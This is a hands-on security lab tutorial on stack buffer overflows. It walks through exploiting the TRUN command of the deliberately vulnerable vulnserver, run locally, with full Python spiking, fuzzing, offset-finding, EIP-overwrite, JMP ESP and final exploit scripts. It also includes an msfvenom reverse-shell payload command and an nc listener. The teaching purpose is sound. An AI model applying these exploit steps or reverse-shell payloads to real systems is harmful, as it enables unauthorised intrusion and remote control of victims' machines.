Buffer Overflow
Objectives: By the end of this topic, you will be able to…
- Conceptually explain what a buffer overflow is
- Identify a vulnerable network command through spiking and fuzzing
- Calculate the exact offset to overwrite the instruction pointer
- Redirect execution to attacker-controlled shellcode
- Generate and deliver a working reverse shell payload
What is a buffer overflow?
A buffer overflow occurs when a program writes more data than a memory buffer can hold, overwriting adjacent areas. This behavior can be exploited to manipulate the program’s execution flow and execute arbitrary code.
This vulnerability is common in programs written in C or C++, which do not automatically check array bounds. The difference between a safe and an unsafe read is often a single function call:
char buffer[64];
/* Vulnerable: strcpy() has no length limit —
input longer than 63 chars silently overwrites adjacent memory */
strcpy(buffer, input);
/* Safe: strncpy() stops at n-1 characters */
strncpy(buffer, input, sizeof(buffer) - 1);strcpy was never removed from C, but its use is considered unsafe in any context where the source length is not already known to be bounded.
Program memory: stack, heap, and registers
Stack
The stack is a LIFO (Last In, First Out) memory area that stores local variables and function return addresses. Its predictable structure makes it highly prone to overflow vulnerabilities — data written past the end of a local buffer can reach and overwrite adjacent values, including the return address.
Heap
The heap is the memory region for dynamic allocation (e.g., malloc). It is less structured than the stack, but it is also vulnerable to overflow attacks that corrupt adjacent heap metadata or object fields.
CPU Registers
Registers such as EIP (Extended Instruction Pointer, 32-bit) and RIP (Register Instruction Pointer, 64-bit) store the address of the next instruction to execute. Overwriting these registers is the core goal of a stack-based exploit, because it allows the attacker to redirect the program’s execution flow to arbitrary code.
ESP (Extended Stack Pointer) always points to the current top of the stack. It decreases as values are pushed and increases as values are popped. When a function executes ret, the CPU pops the return address into EIP and increments ESP by 4 — advancing it past the return address slot. In a crafted exploit payload, the bytes immediately following the overwritten return address are the attacker’s shellcode, which is exactly where ESP lands after ret executes.
Function structure in assembly (stack frame)
When a function is called, a stack frame is created:
|---------------------| <- higher addresses
| Parameters |
|---------------------|
| Return Address (EIP)| <- overwriting this redirects execution
|---------------------|
| Saved EBP (Base Ptr)|
|---------------------|
| Local Variables | <- buffer lives here; overflow grows upward
|---------------------| <- lower addresses (ESP)
Overflowing a local buffer overwrites the return address, redirecting the program’s flow when the function returns.
How the overflow reaches EIP
The buffer lives at the bottom of the stack frame (lowest address). When strcpy copies our input into it, it writes sequentially toward higher addresses. Once the buffer is full, the write continues into the saved EBP and then into the return address — with no error or exception.
The number of bytes required to reach the return address is the offset. After the offset, the next 4 bytes land exactly on EIP. Everything after that sits in memory just above the return address slot, which is where our shellcode will be:
Our input → [ A * offset ][ EIP value ][ shellcode... ]
↓ ↓ ↓
Stack → [ buffer ][ ret addr ][ ← ESP here after ret ]
When the function executes ret, the CPU loads the overwritten return address into EIP — giving the attacker complete control of execution.
EIP / RIP and control of execution flow
In 32-bit systems EIP holds the address of the next instruction to execute; in 64-bit systems RIP serves the same role. A successful buffer overflow overwrites this value, diverting execution to shellcode or another attacker-controlled address.
The classic exploitation technique redirects EIP to a JMP ESP instruction found somewhere in a loaded module. When the function returns:
- EIP is loaded with the address of
JMP ESP - The
JMP ESPinstruction executes, jumping to ESP - ESP points directly at the shellcode we placed after the overwritten EIP
- The shellcode runs
Shellcode and reverse shells
Shellcode is the attacker’s payload — a small piece of machine code injected into the vulnerable process’s memory and executed once EIP is controlled. The name comes from its classic goal: spawning an interactive shell (/bin/sh).
A reverse shell is a connection that the victim machine initiates outward to the attacker, rather than the attacker connecting inward. This sidesteps firewalls that block unsolicited incoming connections. The attacker listens on a port with a tool like nc, and the shellcode running inside the victim process connects back, handing over an interactive shell:
Attacker (Kali) Victim (vulnserver)
nc -lvnp 4444 ←── reverse TCP ── shellcode running
$ id inside the process
uid=1000(kali)
Tools like msfvenom generate shellcode for any target platform, payload type, and port, outputting ready-to-embed bytes. Bad characters must be excluded so the shellcode survives the server’s input processing intact.
Modern protections
| Protection | Description |
|---|---|
| ASLR (Address Space Layout Randomization) | Randomizes memory region locations to prevent jumping to predictable addresses |
| DEP / NX (Data Execution Prevention / No-Execute) | Marks memory regions as non-executable (like the stack) |
| Stack Canaries | Random values before the return address that detect overwrites |
| PIE | Position-Independent Executable — randomizes the binary’s own load address |
This lab targets a 32-bit binary compiled without these protections, which is common in legacy software and embedded systems.
Hands-on lab
Requirements: Kali Linux,
gcc,gcc-multilib,python3,pipx, Metasploit tools (msf-pattern_create,msfvenom)
The target is vulnserver — a deliberately vulnerable TCP (Transmission Control Protocol) server. We compile and run it natively on Kali Linux as a 32-bit binary, which gives us direct access to GDB (GNU Debugger) and makes shellcode execution straightforward.
The exploitation follows the classic 7-step methodology:
| Step | Goal |
|---|---|
| 1. Spiking | Send large inputs to each command to identify which one crashes the server |
| 2. Fuzzing | Bombard the vulnerable command with growing payloads to find the approximate crash size |
| 3. Offset | Use a cyclic pattern to pinpoint the exact byte count that overwrites EIP |
| 4. EIP Overwrite | Confirm full EIP control by placing a known value (BBBB) there |
| 5. Bad Characters | Identify bytes the server corrupts — these cannot appear in the shellcode |
| 6. JMP ESP | Find a fixed-address JMP ESP instruction to redirect execution to the stack |
| 7. Shellcode | Deliver a working payload and receive a reverse shell |
Setup: Compiling and running vulnserver
1. Install dependencies:
sudo apt update
sudo apt install -y gcc gcc-multilib python3 gdb pipx
pipx install ropgadget2. Clone the source code:
git clone https://github.com/velomeister/linux-vulnserver.git
cd linux-vulnserver3. Compile:
gcc vulnserver.c -o vulnserver \
-m32 -fno-stack-protector -z execstack -no-pie -lpthreadThe flags disable all modern mitigations for the purposes of this lab:
| Flag | Effect |
|---|---|
-m32 | Compile as 32-bit (EIP-based, simpler offsets) |
-fno-stack-protector | Disable stack canaries |
-z execstack | Mark the stack as executable |
-no-pie | Fixed binary load address (no ASLR on the binary itself) |
4. Run vulnserver:
./vulnserverStarting vulnserver version 1.00
This is vulnerable software!
Do not allow access from untrusted systems or networks!
Waiting for client connections...
5. Connect with netcat to explore the server:
Open a second terminal:
nc -nv 127.0.0.1 9999(UNKNOWN) [127.0.0.1] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
Type HELP to see available commands:
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
The goal is to find which of these commands is vulnerable to a buffer overflow.
Part 1: Spiking — finding the vulnerable command
Spiking is the process of sending a large amount of data to each command to see which one crashes the server. We write a small Python script for each command we want to test.
The TRUN command only triggers its vulnerable code path when the input contains a
.character. We use the prefix/.:/to satisfy this check.
Restart vulnserver between each spike.
spike_stats.py — test STATS:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"STATS /.:/ " + b"A" * 5000 + b"\r\n")
s.close()
print("Done — server still running?")Run it and try connecting again with netcat. STATS should still respond — it is not vulnerable.
spike_trun.py — test TRUN:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + b"A" * 5000 + b"\r\n")
s.close()
print("Done — server still running?")After running this, vulnserver will crash. Trying to connect again with netcat will fail — TRUN is vulnerable.
Part 2: Fuzzing — finding the approximate crash size
Now that we know TRUN is vulnerable, we fuzz it to find approximately how many bytes cause the crash. Restart vulnserver, then run:
fuzz.py:
import socket
import time
buffer = b"A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
print(f"Sending {len(buffer)} bytes...")
s.send(b"TRUN /.:/ " + buffer + b"\r\n")
s.close()
time.sleep(1)
buffer += b"A" * 100
except Exception as e:
print(f"Fuzzing crashed at approximately {len(buffer)} bytes")
breakpython3 fuzz.pyNote the approximate byte count at which the crash occurs.
Part 3: Finding the exact offset
To find the exact byte offset at which EIP is overwritten, we send a cyclic (De Bruijn) pattern — a sequence where every 4-byte substring is unique. We can then read the EIP value from the crash and calculate the offset precisely.
For this step we run vulnserver inside GDB so we can inspect registers after the crash.
1. Start vulnserver inside GDB:
gdb -q ./vulnserver
(gdb) runLeave this terminal open. GDB will catch the crash automatically.
2. Generate a 3000-byte pattern and send it:
In a second terminal:
msf-pattern_create -l 3000find_offset.py:
import socket
pattern = b"<paste the output of msf-pattern_create here>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + pattern + b"\r\n")
s.close()3. Read the EIP value from GDB:
GDB will catch the segfault and print:
Program received signal SIGSEGV, Segmentation fault.
0xXXXXXXXX in ?? ()
(gdb) info registers eip
eip 0xXXXXXXXX 0xXXXXXXXX
Note the EIP value — you will need it in the next step.
4. Calculate the exact offset:
msf-pattern_offset -l 3000 -q <EIP_VALUE>[*] Exact match at offset <YOUR_OFFSET>
? Why does a cyclic (De Bruijn) pattern make finding the offset easier than filling the buffer with a single repeated character like
A?
Part 4: Overwriting the EIP
We verify full EIP control by sending exactly <offset> A’s followed by 4 B’s. If the offset is correct, EIP will contain 0x42424242.
Restart vulnserver inside GDB, then from a second terminal run:
overwrite_eip.py:
import socket
offset = <YOUR_OFFSET> # value from msf-pattern_offset
shellcode = b"A" * offset + b"B" * 4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()GDB should show:
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
We fully control EIP.
? In a real exploit, what value would replace the four B bytes, and how would you ensure that value is stable across runs?
Part 5: Finding bad characters
Some byte values cannot be used in shellcode because the server’s parsing code will strip, alter, or truncate them. These are called bad characters. The null byte (\x00) is the most universal bad character because C string functions treat it as a string terminator.
We send every possible byte value (\x01–\xff) after the EIP overwrite and check whether they all arrive intact.
Restart vulnserver (no GDB needed for this step), then run:
badchars.py:
import socket
offset = <YOUR_OFFSET> # value from msf-pattern_offset
# All bytes from \x01 to \xff (\x00 excluded — it terminates C strings)
badchars = bytes(range(1, 256))
shellcode = b"A" * offset + b"B" * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()To inspect which bytes arrived on the stack, restart vulnserver inside GDB and re-run the script. After the crash:
(gdb) x/256xb $esp
This prints 256 bytes at ESP as a hex dump. Scan for any missing or out-of-order byte values. If \x0d is missing, for example, it is a bad character that must be excluded from the shellcode.
For vulnserver’s TRUN command, no bad characters exist beyond \x00 — all bytes \x01–\xff pass through cleanly.
Part 6: Finding a JMP ESP gadget
We need to replace the four B bytes with the address of a JMP ESP instruction located in a module loaded at a fixed address. When the function returns:
- EIP loads the JMP ESP address
JMP ESPexecutes, jumping to the top of the stack- ESP points to our shellcode
Our vulnserver binary contains a deliberate JMP ESP gadget in the jmp_esp_gadget() function. Since we compiled with -no-pie, its address is fixed every run.
Find the JMP ESP address:
ROPgadget --binary vulnserver | grep "jmp esp"ROPgadget may return several results. Apply these criteria to pick the best one:
- Prefer a clean
jmp esp— avoid gadgets with prefixes likecallor sequences likeadd [eax], al; jmp esp, as extra instructions can corrupt registers or memory before the jump. - Avoid addresses containing bad characters — if
\x00is a bad char (it always is), any address with a null byte will be truncated. Check that none of the four bytes in the address are in your bad chars list. - Prefer the binary’s own code section — addresses in
vulnserveritself (around0x0804xxxx) are fixed because we compiled with-no-pie. Gadgets in shared libraries may shift if the library version changes.
Convert the chosen address to little-endian format (x86 stores multi-byte values with the least significant byte first). For example, if the address is 0xAABBCCDD, the little-endian bytes are \xDD\xCC\xBB\xAA.
Verify the gadget works by restarting vulnserver inside GDB and running:
verify_jmp.py:
import socket
offset = <YOUR_OFFSET> # value from msf-pattern_offset
jmp_esp = b"<JMP_ESP_BYTES>" # little-endian bytes of your JMP ESP address
shellcode = b"A" * offset + jmp_esp
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()After the crash, GDB will show EIP somewhere on the stack (an address in the same range as ESP), and the disassembly will show it trying to execute bytes from our payload:
$eip : 0xf7d5437d
$esp : 0xf7d5436c
This is the expected result. The JMP ESP jumped to ESP and the CPU began executing whatever bytes were there (the trailing A’s and \r\n). The crash happens because those bytes are not valid shellcode — not because of memory protection. The stack is executable. The next step places a real payload there.
Part 7: Generating shellcode and gaining access
The final payload combines every value found in the previous steps into a single crafted buffer:
[ A * offset ][ JMP ESP addr ][ NOP sled ][ shellcode ]
↑ ↑ ↑ ↑
fills the overwrites landing pad reverse
buffer up to return addr (\x90 × 32) shell
EIP (4 bytes, payload
little-endian)
When sent to vulnserver:
- The A’s fill the buffer exactly up to the return address
- The JMP ESP address overwrites EIP — on
ret, execution jumps to the JMP ESP gadget - JMP ESP redirects execution to ESP, which now points to the NOP sled
- The NOP sled slides into the shellcode
- The shellcode connects back to our listener
We now have everything we need:
<YOUR_OFFSET>bytes of padding (A’s) to fill the buffer- 4 bytes of JMP ESP address in little-endian format
- A NOP sled (No Operation,
\x90× 32) — gives the shellcode some landing room - The shellcode — a reverse shell that connects back to us
1. Open a listener:
nc -lvnp 44442. Generate the reverse shell payload:
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=127.0.0.1 LPORT=4444 \
-f python -b "\x00"Replace
127.0.0.1with your Kali IP address if attacking across a network.
3. Build and run the final exploit:
exploit.py:
import socket
offset = <YOUR_OFFSET> # value from msf-pattern_offset
jmp_esp = b"<JMP_ESP_BYTES>" # little-endian bytes of your JMP ESP address
# Paste the buf variable from msfvenom output here
buf = b""
buf += b"..." # truncated — paste full msfvenom output
nop_sled = b"\x90" * 32
shellcode = b"A" * offset + jmp_esp + nop_sled + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()
print("Payload sent.")Restart vulnserver (outside GDB this time), then run the exploit:
python3 exploit.pySwitch to the terminal running nc -lvnp 4444. You should receive a shell:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] ...
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$
Cleanup
No persistent system changes are made during this lab. When you are done, simply terminate vulnserver.
Submission
-
Screenshots of:
- TRUN crash during spiking (vulnserver process killed)
- Fuzzer output showing approximate crash byte count
- GDB output showing EIP value from cyclic pattern crash
msf-pattern_offsetresult- GDB showing
EIP:42424242after EIP overwrite step - GDB showing EIP on the stack after JMP ESP verification
- ROPgadget output showing the JMP ESP address
- Reverse shell received in the netcat listener
-
A short report including:
- The approximate crash size found during fuzzing
- The EIP value read from GDB after sending the cyclic pattern
- The exact offset calculated with
msf-pattern_offset - The JMP ESP address you found with ROPgadget, in both hex and little-endian byte format
- The bad characters you identified (if any beyond
\x00) - Your full
exploit.pyscript with all values filled in - Any difficulties encountered and how you resolved them
Key concepts
| Term | Definition |
|---|---|
| Buffer overflow | Vulnerability caused by writing beyond the boundaries of a memory buffer |
| RIP | Registers that store the address of the next instruction to execute |
| ESP | Register that points to the top of the stack; shellcode lands here after overflow |
| Stack | LIFO memory structure for local variables and return addresses |
| ASLR | Address Space Layout Randomization — randomizes module load addresses |
| NOP sled | Sequence of NOP (\x90) instructions that slide execution into the shellcode |
| Shellcode | Injected machine code to open a system shell or establish a reverse connection |
| JMP ESP | Assembly instruction that redirects execution to the top of the stack |
| Bad characters | Byte values that are altered or stripped by the target, making them unusable in shellcode |